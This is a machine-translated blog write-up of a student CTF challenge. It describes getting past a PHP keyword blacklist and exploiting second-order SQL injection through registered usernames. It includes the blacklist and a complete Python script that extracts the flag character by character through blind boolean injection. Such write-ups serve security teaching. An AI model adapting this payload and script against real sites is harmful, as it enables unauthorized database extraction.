preface:
The article was first published in https://sleepymonster.cn
This is a question for the finals of the 2021 Jinan University freshman competition.
At that time, I was gambling. If I did it, I would win the second prize
Unfortunately, the network is not powerful enough to suck out second times without changing the script.
But I've been overtime for 5 minutes, so I didn't work out a problem.
(it was only issued after the check-in question, and everyone did the check-in question) I gambled and failed ðŸ˜
Code audit
The game began at 9 a.m. with two questions.
Continue to look at the description ~ (the Hint in it is too difficult to send out one after another, and we'll talk about it later)
After taking it down, there is a login box + add mailbox 📮.
It means that you register first, then log in, and then you can add your email.
Because there are several pages, it is more convenient to use PHPStrom to start code audit
According to the topic mediun SQL, this is an SQL injection problem
Found a place to exist. (that is, find query statements)
Discovery is insertion and query. The basic judgment is secondary injection. Then let's look at waf
public function waf($value): bool { $blackList = array(' ', '^', '#', '*', '/', '-', ';', '!', '~', '<', '>', '?', '=', urldecode('%00'), urldecode('%09'), urldecode('%0A'), urldecode('%0B'), urldecode('%0C'), urldecode('%0D'), urldecode('%A0'), '+', '`', '"', '\\', '()', 'or', 'and', 'between', 'insert', 'update', 'xml', 'delete', 'into', 'union', 'file', 'extractvalue', 'if', 'substr', 'hex', 'bin', 'ord', 'ascii', 'sleep', 'medium'); foreach ($blackList as $item) { if (stripos($value, $item) !== false) { return false; } } return true; }
And you can find that both login, registration and addition need to go through waf. And this waf is not a little.
Joint injection? NO
If you add a few, I wonder if you can include the flag in it through joint injection
It's impossible to find ban, union and so on!!!
Then I found a problem. Because the space is also ban, I can only get it with layers of parentheses
Around 11 noon, the first wave of Hint was released
The latter sentence attracted my attention. Everyone has all the authority??
Is it through SQL to execute commands to obtain permissions.
Inspired by: https://www.freebuf.com/sectool/164608.html Accessing file system under SQL map
But isn't that right? If the flag exists in the database, it should be ~
Keep trying. I thought I could pop up the query to the server to receive what (may DNS?), but I didn't have a clue in general..
Synonym bypass? Different pages to judge?
Until I turned to the big man's Blog
Found that | and & & are not prohibited!!
Is this place injected? Try it!
First register an account called xiaoming
Then register an account called Xiaoming '|'1
After going in, you will find that you can query all email s and time s!
// Composed payload SELECT email,time FROM email where username = 'xiaoming' SELECT email,time FROM email where username = 'xiaoming'||'1'
At this time, the second Hint was released
I was speechless 😓, The new world is gone!
But it seems that it is necessary to explode the table, and then I began to query the data
After going through Google, sys.xxxx found that you must have permission to access it. It takes care of the first hint!
Then I successfully turned to the corresponding article in the security guest! https://www.anquanke.com/post/id/193512
At this time, my thinking has basically taken shape.
That is to judge the page by & &.
For example, the xiaoming I registered first is right if & & can still return to the corresponding registered mailbox
If the return is empty, my sql statement fails to execute
To write a script to run the database name. I'm just starting to write. Still no one did it
The third wave of Hint comes out. Now, don't write it. I'll give you the database name directly.
I'll put the specific script below. The ideas are the same. Just see how the security guest writes the specific changes.
Because my database does not have sys, I can only write according to the screenshots of the security guest and the screenshots he gave.
Script burst Flag
I've written it out
Enrich it here.
At this time, my thinking has basically taken shape.
That is to judge the page by & &.
For example, the xiaoming I registered first is right if & & can still return to the corresponding registered mailbox
If the return is empty, my sql statement fails to execute
At the same time, we need to bypass waf, so the replacement of spaces and necessary key volumes must be arranged
And whether the statement you wrote is right. Just try local query
import requests import hashlib import random from tqdm import tqdm # The character order here is particular # Because we want to use like, we finally underline it_ Pad tail # Secondly, because flag says 38 bits, except for flag {}, 32 bits, most of them are md5 encryption # Then, it is generally submitted in lowercase, so the order is as follows: lowercase + number + uppercase + underline CharacterSet = 'abcdefghijklmnopqrstuvwxyz0123456789{}ABCDEFGHIJKLMNOPQRSTUVWXYZ_' # Here is an example of payload injection payload = "xiaoxin'||(select(mid(group_concat(flag),1,2))from(c1c7fbbb74d0d43101a2814ade767362))REGEXP'fl" # Register # In fact, you only need to test and register successfully # It doesn't matter when you run again def registered(payload): one = hashlib.md5(str(random.random()).encode('utf-8')).hexdigest() headers = { 'cookies' : f'PHPSESSID: {one}' } url = 'http://35.220.149.77:16034/register.php' datas = { 'username':payload, 'email':'xxx@qq.com', 'password': 'aa123123', 'confirm': 'aa123123' } r = requests.post(url,data=datas,headers=headers) return r.status_code # Log in to determine the package size def LogIn(username, password): session = requests.Session() url1 = 'http://35.220.149.77:16034/login.php' datas = { 'username':username, 'password':password, } r = session.post(url1,data=datas) url2 = 'http://35.220.149.77:16034/index.php' r = session.get(url2) return len(r.text) # flag{98dca52f6a770b8100cca1a478061743} flag = '' length = len(flag) while len(flag) <= 38: for x in CharacterSet: x = str(x) payload = f"xiaoluo'&&(select(mid(group_concat(flag),1,{length + 1}))from(c1c7fbbb74d0d43101a2814ade767362))like'{flag + x}" registere = registered(payload) res = LogIn(payload, 'aa123123') print(f'{res} -- {flag} -- {payload}') if 4000 > int(res) > 2000: flag = flag + x length += 1 print(flag) break print('Mission Over')
Let's talk about the war here. I can't even run out of the top four before I see the last Hint
After adding headers, the first run was unsuccessful. After inspection, it was found that the top 30 were all right. Start running from the top 30 immediately
Unfortunately, the game is over. When I come back from the toilet, the flag comes out, but the game is gone! hey 😮 💨